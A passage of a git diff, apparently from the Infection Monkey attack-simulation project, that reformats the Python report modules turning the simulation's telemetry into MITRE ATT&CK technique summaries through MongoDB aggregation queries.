+ "find any or failed."
+ )
scanned_msg = ""
used_msg = "Monkey successfully obtained some credentials from systems on the network."
- query = {'$or': [
- {'telem_category': 'system_info',
- '$and': [{'data.credentials': {'$exists': True}},
- {'data.credentials': {'$gt': {}}}]}, # $gt: {} checks if field is not an empty object
- {'telem_category': 'exploit',
- '$and': [{'data.info.credentials': {'$exists': True}},
- {'data.info.credentials': {'$gt': {}}}]}
- ]}
+ query = {
+ "$or": [
+ {
+ "telem_category": "system_info",
+ "$and": [
+ {"data.credentials": {"$exists": True}},
+ {"data.credentials": {"$gt": {}}},
+ ],
+ }, # $gt: {} checks if field is not an empty object
+ {
+ "telem_category": "exploit",
+ "$and": [
+ {"data.info.credentials": {"$exists": True}},
+ {"data.info.credentials": {"$gt": {}}},
+ ],
+ },
+ ]
+ }
@staticmethod
def get_report_data():
@@ -31,11 +42,11 @@ class T1003(AttackTechnique):
status = ScanStatus.UNSCANNED.value
return (status, [])
- data = {'title': T1003.technique_title()}
+ data = {"title": T1003.technique_title()}
status, _ = get_technique_status_and_data()
data.update(T1003.get_message_and_status(status))
data.update(T1003.get_mitigation_by_status(status))
- data['stolen_creds'] = ReportService.get_stolen_creds()
- data['stolen_creds'].extend(ReportService.get_ssh_keys())
+ data["stolen_creds"] = ReportService.get_stolen_creds()
+ data["stolen_creds"].extend(ReportService.get_ssh_keys())
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
index 78571562a..5aa2f4ad8 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
@@ -1,8 +1,6 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1005(AttackTechnique):
tech_id = "T1005"
@@ -10,24 +8,45 @@ class T1005(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully gathered sensitive data from local system."
- query = [{'$match': {'telem_category': 'attack',
- 'data.technique': tech_id}},
- {'$lookup': {'from': 'monkey',
- 'localField': 'monkey_guid',
- 'foreignField': 'guid',
- 'as': 'monkey'}},
- {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
- 'status': '$data.status',
- 'gathered_data_type': '$data.gathered_data_type',
- 'info': '$data.info'}},
- {'$addFields': {'_id': 0,
- 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
- 'monkey': 0}},
- {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}},
- {"$replaceRoot": {"newRoot": "$_id"}}]
+ query = [
+ {"$match": {"telem_category": "attack", "data.technique": tech_id}},
+ {
+ "$lookup": {
+ "from": "monkey",
+ "localField": "monkey_guid",
+ "foreignField": "guid",
+ "as": "monkey",
+ }
+ },
+ {
+ "$project": {
+ "monkey": {"$arrayElemAt": ["$monkey", 0]},
+ "status": "$data.status",
+ "gathered_data_type": "$data.gathered_data_type",
+ "info": "$data.info",
+ }
+ },
+ {
+ "$addFields": {
+ "_id": 0,
+ "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"},
+ "monkey": 0,
+ }
+ },
+ {
+ "$group": {
+ "_id": {
+ "machine": "$machine",
+ "gathered_data_type": "$gathered_data_type",
+ "info": "$info",
+ }
+ }
+ },
+ {"$replaceRoot": {"newRoot": "$_id"}},
+ ]
@staticmethod
def get_report_data():
data = T1005.get_tech_base_data()
- data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))})
+ data.update({"collected_data": list(mongo.db.telemetry.aggregate(T1005.query))})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
index a1162b109..3ff4544d2 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1016(AttackTechnique):
tech_id = "T1016"
@@ -11,19 +9,37 @@ class T1016(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey gathered network configurations on systems in the network."
- query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}},
- {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
- 'networks': '$data.network_info.networks',
- 'netstat': '$data.network_info.netstat'}},
- {'$addFields': {'_id': 0,
- 'netstat': 0,
- 'networks': 0,
- 'info': [
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]},
- 'name': {'$literal': 'Network connections (netstat)'}},
- {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]},
- 'name': {'$literal': 'Network interface info'}},
- ]}}]
+ query = [
+ {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}},
+ {
+ "$project": {
+ "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"},
+ "networks": "$data.network_info.networks",
+ "netstat": "$data.network_info.netstat",
+ }
+ },
+ {
+ "$addFields": {
+ "_id": 0,
+ "netstat": 0,
+ "networks": 0,
+ "info": [
+ {
+ "used": {
+ "$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$netstat", {}]}]
+ },
+ "name": {"$literal": "Network connections (netstat)"},
+ },
+ {
+ "used": {
+ "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}]
+ },
+ "name": {"$literal": "Network interface info"},
+ },
+ ],
+ }
+ },
+ ]
@staticmethod
def get_report_data():
@@ -36,5 +52,5 @@ class T1016(AttackTechnique):
status, network_info = get_technique_status_and_data()
data = T1016.get_base_data_by_status(status)
- data.update({'network_info': network_info})
+ data.update({"network_info": network_info})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
index 3ea49603c..1495911bd 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1018(AttackTechnique):
tech_id = "T1018"
@@ -11,20 +9,33 @@ class T1018(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey found machines on the network."
- query = [{'$match': {'telem_category': 'scan'}},
- {'$sort': {'timestamp': 1}},
- {'$group': {'_id': {'monkey_guid': '$monkey_guid'},
- 'machines': {'$addToSet': '$data.machine'},
- 'started': {'$first': '$timestamp'},
- 'finished': {'$last': '$timestamp'}}},
- {'$lookup': {'from': 'monkey',
- 'localField': '_id.monkey_guid',
- 'foreignField': 'guid',
- 'as': 'monkey_tmp'}},
- {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}},
- {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname',
- 'ips': '$monkey_tmp.ip_addresses'},
- 'monkey_tmp': 0}}]
+ query = [
+ {"$match": {"telem_category": "scan"}},
+ {"$sort": {"timestamp": 1}},
+ {
+ "$group": {
+ "_id": {"monkey_guid": "$monkey_guid"},
+ "machines": {"$addToSet": "$data.machine"},
+ "started": {"$first": "$timestamp"},
+ "finished": {"$last": "$timestamp"},
+ }
+ },
+ {
+ "$lookup": {
+ "from": "monkey",
+ "localField": "_id.monkey_guid",
+ "foreignField": "guid",
+ "as": "monkey_tmp",
+ }
+ },
+ {"$addFields": {"_id": 0, "monkey_tmp": {"$arrayElemAt": ["$monkey_tmp", 0]}}},
+ {
+ "$addFields": {
+ "monkey": {"hostname": "$monkey_tmp.hostname", "ips": "$monkey_tmp.ip_addresses"},
+ "monkey_tmp": 0,
+ }
+ },
+ ]
@staticmethod
def get_report_data():
@@ -40,5 +51,5 @@ class T1018(AttackTechnique):
status, scan_info = get_technique_status_and_data()
data = T1018.get_base_data_by_status(status)
- data.update({'scan_info': scan_info})
+ data.update({"scan_info": scan_info})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
index b017e7c85..4e668f601 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
@@ -3,8 +3,6 @@ from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
-__author__ = "VakarisZ"
-
class T1021(AttackTechnique):
tech_id = "T1021"
@@ -13,22 +11,26 @@ class T1021(AttackTechnique):
used_msg = "Monkey successfully logged into remote services on the network."
# Gets data about brute force attempts
- query = [{'$match': {'telem_category': 'exploit',
- 'data.attempts': {'$not': {'$size': 0}}}},
- {'$project': {'_id': 0,
- 'machine': '$data.machine',
- 'info': '$data.info',
- 'attempt_cnt': {'$size': '$data.attempts'},
- 'attempts': {'$filter': {'input': '$data.attempts',
- 'as': 'attempt',
- 'cond': {'$eq': ['$$attempt.result', True]}
- }
- }
- }
- }]
+ query = [
+ {"$match": {"telem_category": "exploit", "data.attempts": {"$not": {"$size": 0}}}},
+ {
+ "$project": {
+ "_id": 0,
+ "machine": "$data.machine",
+ "info": "$data.info",
+ "attempt_cnt": {"$size": "$data.attempts"},
+ "attempts": {
+ "$filter": {
+ "input": "$data.attempts",
+ "as": "attempt",
+ "cond": {"$eq": ["$$attempt.result", True]},
+ }
+ },
+ }
+ },
+ ]
- scanned_query = {'telem_category': 'exploit',
- 'data.attempts': {'$elemMatch': {'result': True}}}
+ scanned_query = {"telem_category": "exploit", "data.attempts": {"$elemMatch": {"result": True}}}
@staticmethod
def get_report_data():
@@ -40,9 +42,9 @@ class T1021(AttackTechnique):
if attempts:
status = ScanStatus.USED.value
for result in attempts:
- result['successful_creds'] = []
- for attempt in result['attempts']:
- result['successful_creds'].append(parse_creds(attempt))
+ result["successful_creds"] = []
+ for attempt in result["attempts"]:
+ result["successful_creds"].append(parse_creds(attempt))
else:
status = ScanStatus.SCANNED.value
else:
@@ -52,5 +54,5 @@ class T1021(AttackTechnique):
status, attempts = get_technique_status_and_data()
data = T1021.get_base_data_by_status(status)
- data.update({'services': attempts})
+ data.update({"services": attempts})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
index e0694f3b4..cb8775fc4 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py
@@ -1,16 +1,17 @@
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
-__author__ = "VakarisZ"
-
class T1035(UsageTechnique):
tech_id = "T1035"
- unscanned_msg = "Monkey didn't try to interact with Windows services since it didn't run on any Windows machines."
+ unscanned_msg = (
+ "Monkey didn't try to interact with Windows services since it didn't run on "
+ "any Windows machines."
+ )
scanned_msg = "Monkey tried to interact with Windows services, but failed."
used_msg = "Monkey successfully interacted with Windows services."
@staticmethod
def get_report_data():
data = T1035.get_tech_base_data()
- data.update({'services': T1035.get_usage_data()})
+ data.update({"services": T1035.get_usage_data()})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
index b4548dac8..2cdcfa975 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.models.monkey import Monkey
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1041(AttackTechnique):
tech_id = "T1041"
@@ -16,9 +14,14 @@ class T1041(AttackTechnique):
@T1041.is_status_disabled
def get_technique_status_and_data():
monkeys = list(Monkey.objects())
- info = [{'src': monkey['command_control_channel']['src'],
- 'dst': monkey['command_control_channel']['dst']}
- for monkey in monkeys if monkey['command_control_channel']]
+ info = [
+ {
+ "src": monkey["command_control_channel"]["src"],
+ "dst": monkey["command_control_channel"]["dst"],
+ }
+ for monkey in monkeys
+ if monkey["command_control_channel"]
+ ]
if info:
status = ScanStatus.USED.value
else:
@@ -28,5 +31,5 @@ class T1041(AttackTechnique):
status, info = get_technique_status_and_data()
data = T1041.get_base_data_by_status(status)
- data.update({'command_control_channel': info})
+ data.update({"command_control_channel": info})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py
index 7ab1b5607..3a10e92f7 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1053.py
@@ -1,12 +1,12 @@
from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1053(PostBreachTechnique):
tech_id = "T1053"
- unscanned_msg = "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines."
+ unscanned_msg = (
+ "Monkey didn't try scheduling a job on Windows since it didn't run on any Windows machines."
+ )
scanned_msg = "Monkey tried scheduling a job on the Windows system but failed."
used_msg = "Monkey scheduled a job on the Windows system."
pba_names = [POST_BREACH_JOB_SCHEDULING]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index b702ddd58..6d7940718 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1059(AttackTechnique):
tech_id = "T1059"
@@ -11,15 +9,19 @@ class T1059(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully ran commands on exploited machines in the network."
- query = [{'$match': {'telem_category': 'exploit',
- 'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
- {'$unwind': '$data.info.executed_cmds'},
- {'$sort': {'data.info.executed_cmds.powershell': 1}},
- {'$project': {'_id': 0,
- 'machine': '$data.machine',
- 'info': '$data.info'}},
- {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}},
- {'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}]
+ query = [
+ {
+ "$match": {
+ "telem_category": "exploit",
+ "data.info.executed_cmds": {"$exists": True, "$ne": []},
+ }
+ },
+ {"$unwind": "$data.info.executed_cmds"},
+ {"$sort": {"data.info.executed_cmds.powershell": 1}},
+ {"$project": {"_id": 0, "machine": "$data.machine", "info": "$data.info"}},
+ {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}},
+ {"$project": {"_id": 0, "data": {"$arrayElemAt": ["$data", 0]}}},
+ ]
@staticmethod
def get_report_data():
@@ -33,7 +35,7 @@ class T1059(AttackTechnique):
return (status, cmd_data)
status, cmd_data = get_technique_status_and_data()
- data = {'title': T1059.technique_title(), 'cmds': cmd_data}
+ data = {"title": T1059.technique_title(), "cmds": cmd_data}
data.update(T1059.get_message_and_status(status))
data.update(T1059.get_mitigation_by_status(status))
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
index 2c68c9ae4..d8c723053 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py
@@ -1,8 +1,6 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique
-__author__ = "VakarisZ"
-
class T1064(UsageTechnique):
tech_id = "T1064"
@@ -14,5 +12,5 @@ class T1064(UsageTechnique):
def get_report_data():
data = T1064.get_tech_base_data()
script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query()))
- data.update({'scripts': script_usages})
+ data.update({"scripts": script_usages})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
index 3b18be488..edc35b23a 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
@@ -1,11 +1,8 @@
+from common.config_value_paths import CURRENT_SERVER_PATH
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from monkey_island.cc.services.config import ConfigService
-__author__ = "VakarisZ"
-
-from common.config_value_paths import CURRENT_SERVER_PATH
-
class T1065(AttackTechnique):
tech_id = "T1065"
@@ -16,6 +13,6 @@ class T1065(AttackTechnique):
@staticmethod
def get_report_data():
- port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(':')[1]
+ port = ConfigService.get_config_value(CURRENT_SERVER_PATH).split(":")[1]
T1065.used_msg = T1065.message % port
return T1065.get_base_data_by_status(ScanStatus.USED.value)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 5d3f270e7..372ec35b0 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -2,31 +2,53 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1075(AttackTechnique):
tech_id = "T1075"
- unscanned_msg = "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines."
+ unscanned_msg = (
+ "Monkey didn't try to use pass the hash attack since it didn't run on any Windows machines."
+ )
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
used_msg = "Monkey successfully used hashed credentials."
- login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}},
- {'lm_hash': {'$ne': ''}}]}}}
+ login_attempt_query = {
+ "data.attempts": {
+ "$elemMatch": {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]}
+ }
+ }
# Gets data about successful PTH logins
- query = [{'$match': {'telem_category': 'exploit',
- 'data.attempts': {'$not': {'$size': 0},
- '$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}},
- {'lm_hash': {'$ne': ''}}]},
- {'result': True}]}}}},
- {'$project': {'_id': 0,
- 'machine': '$data.machine',
- 'info': '$data.info',
- 'attempt_cnt': {'$size': '$data.attempts'},
- 'attempts': {'$filter': {'input': '$data.attempts',
- 'as': 'attempt',
- 'cond': {'$eq': ['$$attempt.result', True]}}}}}]
+ query = [
+ {
+ "$match": {
+ "telem_category": "exploit",
+ "data.attempts": {
+ "$not": {"$size": 0},
+ "$elemMatch": {
+ "$and": [
+ {"$or": [{"ntlm_hash": {"$ne": ""}}, {"lm_hash": {"$ne": ""}}]},
+ {"result": True},
+ ]
+ },
+ },
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": "$data.machine",
+ "info": "$data.info",
+ "attempt_cnt": {"$size": "$data.attempts"},
+ "attempts": {
+ "$filter": {
+ "input": "$data.attempts",
+ "as": "attempt",
+ "cond": {"$eq": ["$$attempt.result", True]},
+ }
+ },
+ }
+ },
+ ]
@staticmethod
def get_report_data():
@@ -42,8 +64,8 @@ class T1075(AttackTechnique):
return (status, successful_logins)
status, successful_logins = get_technique_status_and_data()
- data = {'title': T1075.technique_title()}
- data.update({'successful_logins': successful_logins})
+ data = {"title": T1075.technique_title()}
+ data.update({"successful_logins": successful_logins})
data.update(T1075.get_message_and_status(status))
data.update(T1075.get_mitigation_by_status(status))
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
index 1a9ff94f8..a9409d4bc 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1082(AttackTechnique):
tech_id = "T1082"
@@ -11,30 +9,63 @@ class T1082(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey gathered system info from machines in the network."
- query = [{'$match': {'telem_category': 'system_info', 'data.network_info': {'$exists': True}}},
- {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
- 'aws': '$data.aws',
- 'netstat': '$data.network_info.netstat',
- 'process_list': '$data.process_list',
- 'ssh_info': '$data.ssh_info',
- 'azure_info': '$data.Azure'}},
- {'$project': {'_id': 0,
- 'machine': 1,
- 'collections': [
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
- 'name': {'$literal': 'Amazon Web Services info'}},
- {'used': {'$and': [{'$ifNull': ['$process_list', False]},
- {'$gt': ['$process_list', {}]}]},
- 'name': {'$literal': 'Running process list'}},
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
- 'name': {'$literal': 'Network connections'}},
- {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
- 'name': {'$literal': 'SSH info'}},
- {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
- 'name': {'$literal': 'Azure info'}}
- ]}},
- {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
- {"$replaceRoot": {"newRoot": "$_id"}}]
+ query = [
+ {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}},
+ {
+ "$project": {
+ "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"},
+ "aws": "$data.aws",
+ "netstat": "$data.network_info.netstat",
+ "process_list": "$data.process_list",
+ "ssh_info": "$data.ssh_info",
+ "azure_info": "$data.Azure",
+ }
+ },
+ {
+ "$project": {
+ "_id": 0,
+ "machine": 1,
+ "collections": [
+ {
+ "used": {"$and": [{"$ifNull": ["$netstat", False]}, {"$gt": ["$aws", {}]}]},
+ "name": {"$literal": "Amazon Web Services info"},
+ },
+ {
+ "used": {
+ "$and": [
+ {"$ifNull": ["$process_list", False]},
+ {"$gt": ["$process_list", {}]},
+ ]
+ },
+ "name": {"$literal": "Running process list"},
+ },
+ {
+ "used": {
+ "$and": [{"$ifNull": ["$netstat", False]}, {"$ne": ["$netstat", []]}]
+ },
+ "name": {"$literal": "Network connections"},
+ },
+ {
+ "used": {
+ "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}]
+ },
+ "name": {"$literal": "SSH info"},
+ },
+ {
+ "used": {
+ "$and": [
+ {"$ifNull": ["$azure_info", False]},
+ {"$ne": ["$azure_info", []]},
+ ]
+ },
+ "name": {"$literal": "Azure info"},
+ },
+ ],
+ }
+ },
+ {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}},
+ {"$replaceRoot": {"newRoot": "$_id"}},
+ ]
@staticmethod
def get_report_data():
@@ -48,8 +79,8 @@ class T1082(AttackTechnique):
return (status, system_info)
status, system_info = get_technique_status_and_data()
- data = {'title': T1082.technique_title()}
- data.update({'system_info': system_info})
+ data = {"title": T1082.technique_title()}
+ data.update({"system_info": system_info})
data.update(T1082.get_mitigation_by_status(status))
data.update(T1082.get_message_and_status(status))
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index d6237a3f7..eaaa7a155 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1086(AttackTechnique):
tech_id = "T1086"
@@ -11,17 +9,30 @@ class T1086(AttackTechnique):
scanned_msg = ""
used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
- query = [{'$match': {'telem_category': 'exploit',
- 'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}},
- {'$project': {'machine': '$data.machine',
- 'info': '$data.info'}},
- {'$project': {'_id': 0,
- 'machine': 1,
- 'info.finished': 1,
- 'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds',
- 'as': 'command',
- 'cond': {'$eq': ['$$command.powershell', True]}}}}},
- {'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
+ query = [
+ {
+ "$match": {
+ "telem_category": "exploit",
+ "data.info.executed_cmds": {"$elemMatch": {"powershell": True}},
+ }
+ },
+ {"$project": {"machine": "$data.machine", "info": "$data.info"}},
+ {
+ "$project": {
+ "_id": 0,
+ "machine": 1,
+ "info.finished": 1,
+ "info.executed_cmds": {
+ "$filter": {
+ "input": "$info.executed_cmds",
+ "as": "command",
+ "cond": {"$eq": ["$$command.powershell", True]},
+ }
+ },
+ }
+ },
+ {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}},
+ ]
@staticmethod
def get_report_data():
@@ -35,7 +46,7 @@ class T1086(AttackTechnique):
return (status, cmd_data)
status, cmd_data = get_technique_status_and_data()
- data = {'title': T1086.technique_title(), 'cmds': cmd_data}
+ data = {"title": T1086.technique_title(), "cmds": cmd_data}
data.update(T1086.get_mitigation_by_status(status))
data.update(T1086.get_message_and_status(status))
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py
index 91e1204f4..6c42fea74 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1087.py
@@ -1,8 +1,6 @@
from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1087(PostBreachTechnique):
tech_id = "T1087"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
index f68ab1166..c5b0a9eed 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -2,8 +2,6 @@ from common.utils.attack_utils import ScanStatus
from monkey_island.cc.models import Monkey
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1090(AttackTechnique):
tech_id = "T1090"
@@ -23,5 +21,5 @@ class T1090(AttackTechnique):
status, monkeys = get_technique_status_and_data()
data = T1090.get_base_data_by_status(status)
- data.update({'proxies': monkeys})
+ data.update({"proxies": monkeys})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
index a16d3423d..59daea695 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1099.py
@@ -1,8 +1,6 @@
from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING
from monkey_island.cc.services.attack.technique_reports.pba_technique import PostBreachTechnique
-__author__ = "shreyamalviya"
-
class T1099(PostBreachTechnique):
tech_id = "T1099"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
index 832976617..225efcda8 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
@@ -1,8 +1,6 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
-__author__ = "VakarisZ"
-
class T1105(AttackTechnique):
tech_id = "T1105"
@@ -10,17 +8,22 @@ class T1105(AttackTechnique):
scanned_msg = "Monkey tried to copy files, but failed."
used_msg = "Monkey successfully copied files to systems on the network."
- query = [{'$match': {'telem_category': 'attack',
- 'data.technique': tech_id}},
- {'$project': {'_id': 0,
- 'src': '$data.src',
- 'dst': '$data.dst',
- 'filename': '$data.filename'}},
- {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}},
- {"$replaceRoot": {"newRoot": "$_id"}}]
+ query = [
+ {"$match": {"telem_category": "attack", "data.technique": tech_id}},
+ {
+ "$project": {
+ "_id": 0,
+ "src": "$data.src",
+ "dst": "$data.dst",
+ "filename": "$data.filename",
+ }
+ },
+ {"$group": {"_id": {"src": "$src", "dst": "$dst", "filename": "$filename"}}},
+ {"$replaceRoot": {"newRoot": "$_id"}},
+ ]
@staticmethod
def get_report_data():
data = T1105.get_tech_base_data()
- data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))})
+ data.update({"files": list(mongo.db.telemetry.aggregate(T1105.query))})
return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
index d07a66038..14019634a 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py
